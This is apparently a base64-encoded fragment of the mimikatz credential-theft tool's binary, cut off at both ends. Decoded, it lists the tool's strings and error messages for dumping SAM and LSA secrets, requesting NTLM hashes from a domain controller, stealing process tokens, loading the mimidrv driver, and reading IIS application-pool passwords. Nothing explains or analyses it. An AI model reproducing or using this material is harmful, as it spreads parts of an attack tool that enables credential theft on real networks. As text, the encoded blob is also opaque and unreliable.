5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABGAGkAbgBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBJAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAXwBzAGMAXwBhAHUAdABoACAAOwAgAC8AdQBwAG4AOgB1AHMAZQByAEAAZABvAG0AYQBpAG4ALgBsAG8AYwBhAGwAIABuAGUAZQBkAGUAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBfAHMAYwBfAGEAdQB0AGgAIAA7ACAALwBjAGEAbgBhAG0AZQA6AEMAQQAtAEsASQBXAEkAIABuAGUAZQBkAGUAZAAKAAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAEUAdgBlAG4AdABzACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAdgBvAGkAZAAgAG4AZQB3ACAAZQB2AGUAbgB0AHMAAABjAGwAZQBhAHIAAAAAAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAAAAAABFAHYAZQBuAHQAIABtAG8AZAB1AGwAZQAAAAAAAAAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAAAAAAAAUwBlAGMAdQByAGkAdAB5AAAAAAAAAAAAbABvAGcAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGUAdgBlAG4AdABfAGMAbABlAGEAcgAgADsAIABDAGwAZQBhAHIARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABhAHAAcABoAG8AcwB0AAAAaQBpAHMAAABJAEkAUwAgAFgATQBMACAAQwBvAG4AZgBpAGcAIABtAG8AZAB1AGwAZQAAAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAHMAeQBzAHQAZQBtAC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAEgAbwBzAHQALwBhAHAAcABsAGkAYwBhAHQAaQBvAG4AUABvAG8AbABzAC8AYQBkAGQAAAAAAAAAAAAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AcwB5AHMAdABlAG0ALgBhAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAvAHMAaQB0AGUAcwAvAHMAaQB0AGUAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdAAgADsAIABNAGkAcwBzAGkAbgBnACAALwBpAG4AOgBmAGkAbABlAG4AYQBtAGUAIAAoAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC4AYwBvAG4AZgBpAGcAKQAKAAAAAAAAAAoAKgAgAEEAcABwAGwAaQBjAGEAdABpAG8AbgBQAG8AbwBsADoAIAAnACUAcwAnAAoAAAAAAAAAcAByAG8AYwBlAHMAcwBNAG8AZABlAGwAAAAAAAAAAAB1AHMAZQByAE4AYQBtAGUAAAAAAAAAAAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAACgAqACAAUwBpAHQAZQA6ACAAJwAlAHMAJwAKAAAAAABhAHAAcABsAGkAYwBhAHQAaQBvAG4AAABwAGEAdABoAAAAAAAAAAAAIAAgAD4AIABBAHAAcABsAGkAYwBhAHQAaQBvAG4AIABQAGEAdABoADoAIAAlAHMACgAAAAAAAAB2AGkAcgB0AHUAYQBsAEQAaQByAGUAYwB0AG8AcgB5AAAAAAAAAAAAIAAgACAAIAAtACAAVgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAgAFAAYQB0AGgAOgAgACUAcwAgACgAIAAAAAAAcABoAHkAcwBpAGMAYQBsAFAAYQB0AGgAAAAAAAAAAAAgACkACgAAACAAIAAgACAAIAAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAJQBzAAoAAAAgACAAIAAgACAAIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAAWwBlAG4AYwA6AAAAAAAAADoAZQBuAGMAXQAAAAAAAAAgACAAfAAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACUAcwAKACAAIAB8ACAARABhAHQAYQAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAC8ALwBjAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuAC8AYwBvAG4AZgBpAGcAUAByAG8AdABlAGMAdABlAGQARABhAHQAYQAvAHAAcgBvAHYAaQBkAGUAcgBzAC8AYQBkAGQAAAAAAAAAdAB5AHAAZQAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAEEAZQBzAFAAcgBvAHQAZQBjAHQAZQBkAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AUAByAG8AdgBpAGQAZQByAAAAawBlAHkAQwBvAG4AdABhAGkAbgBlAHIATgBhAG0AZQAAAAAAAAAAACAAIAB8ACAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAAABzAGUAcwBzAGkAbwBuAEsAZQB5AAAAAAB1AHMAZQBNAGEAYwBoAGkAbgBlAEMAbwBuAHQAYQBpAG4AZQByAAAAdAByAHUAZQAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAIAA7ACAAdAB5AHAAZQAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQAIAAoACUAcwApAAoAAABsAGkAdgBlAAAAAAAAAAAAIAAgAHwAIABMAGkAdgBlACAASwBlAHkAIAAgADoAIAAlAHMAIAAtACAAJQBzACAAOgAgAAAAAAAgACAAfAAgAFAAVgBLACAAZgBpAGwAZQAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABSAFMAQQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAIAB8ACAAUABhAHMAcwB3AG8AcgBkACAAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKABzAGUAcwBzAGkAbwBuACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAAAAAAAAAAAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAAAAAAAAAAABSAGUAbQBvAHYAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAAAAAABwAGkAbgBnAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAAAAAAAAQgBTAE8ARAAgACEAAAAAAHAAcgBvAGMAZQBzAHMAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAAAAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAAAAAAAAcwBzAGQAdAAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAAAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIAB0AGgAcgBlAGEAZAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAbQBpAG4AaQBmAGkAbAB0AGUAcgBzAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAHMAeQBzAGUAbgB2AHMAZQB0AAAAAAAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABTAGUAdAAAAHMAeQBzAGUAbgB2AGQAZQBsAAAAAAAAAAAAAAAAAAAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABEAGUAbABlAHQAZQAAAAAAbQBpAG0AaQBkAHIAdgAuAHMAeQBzAAAAbQBpAG0AaQBkAHIAdgAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAAKAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQQBiAHMAbwBsAHUAdABlAFAAYQB0AGgATwBmACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwByAGUAbQBvAHYAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAcABpAGQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAAAAAAAAAAAAAIAAqACAAdABvACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAYQBsAGwAIAAnAGMAbQBkACcAIABhAG4AZAAgACcAbQBpAG0AaQBrAGEAdAB6ACcAIABwAHIAbwBjAGUAcwBzAAoAAABLAGUAcgBuAGUAbABfAEwAcwBhAF8AUABwAGwAXwBDAG8AbgBmAGkAZwAAAAAAAAAAAAAAAAAAAHsANwA3AGYAYQA5AGEAYgBkAC0AMAAzADUAOQAtADQAZAAzADIALQBiAGQANgAwAC0AMgA4AGYANABlADcAOABmADcAOAA0AGIAfQAAAAAAZwB1AGkAZAAAAAAAMQAAAGEAdAB0AHIAaQBiAHUAdABlAHMAAAAAADAAMAAwADAAMAAwADAAMAAAAAAAAAAAAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAAAAAAAAAABMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAPgAgAE8ASwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAHMAZQB0ACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAACkACgAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUgB0AGwARwBVAEkARABGAHIAbwBtAFMAdAByAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAcwBhAG0AAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAAAAAAAAAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAATgBMACQASwBNACAAdABoAGUAbgAgAE0AUwBDAGEAYwBoAGUAKAB2ADIAKQAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAAAAAGwAcwBhAAAAQQBzAGsAIABMAFMAQQAgAFMAZQByAHYAZQByACAAdABvACAAcgBlAHQAcgBpAGUAdgBlACAAUwBBAE0ALwBBAEQAIABlAG4AdAByAGkAZQBzACAAKABuAG8AcgBtAGEAbAAsACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQAgAG8AcgAgAGkAbgBqAGUAYwB0ACkAAAAAAHQAcgB1AHMAdAAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABUAHIAdQBzAHQAIABBAHUAdABoACAASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKABuAG8AcgBtAGEAbAAgAG8AcgAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAKQAAAAAAYgBhAGMAawB1AHAAawBlAHkAcwAAAAAAcgBwAGQAYQB0AGEAAAAAAGQAYwBzAHkAbgBjAAAAAAAAAAAAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAeQBuAGMAaAByAG8AbgBpAHoAZQAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAAAAAAG4AZQB0AHMAeQBuAGMAAAAAAAAAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAZQBuAGQAIABjAHUAcgByAGUAbgB0ACAAYQBuAGQAIABwAHIAZQB2AGkAbwB1AHMAIABOAFQATABNACAAaABhAHMAaAAgAG8AZgAgAEQAQwAvAFMAUgBWAC8AVwBLAFMAAAAAAAAAbABzAGEAZAB1AG0AcAAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBBAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACEACgAAAAAAAAAAACAAIAAqACAAdQBzAGUAcgAgACAAIAAgACAAOgAgACUAcwAKAAAAAABuAHQAbABtAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApACAALQAgAHcAaQBsAGwAIAB1AHMAZQAgAGQAZQBmAGEAdQBsAHQAIABwAGEAcwBzAHcAbwByAGQALgAuAC4ACgAAAAAAAAAAACAAIAAqACAAcABhAHMAcwB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAgACAAKgAgAG4AdABsAG0AIAAgACAAIAAgADoAIAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwByAGUAdABzAE8AcgBDAGEAYwBoAGUAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAUwBZAFMAVABFAE0AIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKABTAEUAQwBVAFIASQBUAFkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwB1AHIAcgBlAG4AdAAAAEQAZQBmAGEAdQBsAHQAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAAAAAAFMAZQBsAGUAYwB0AAAAA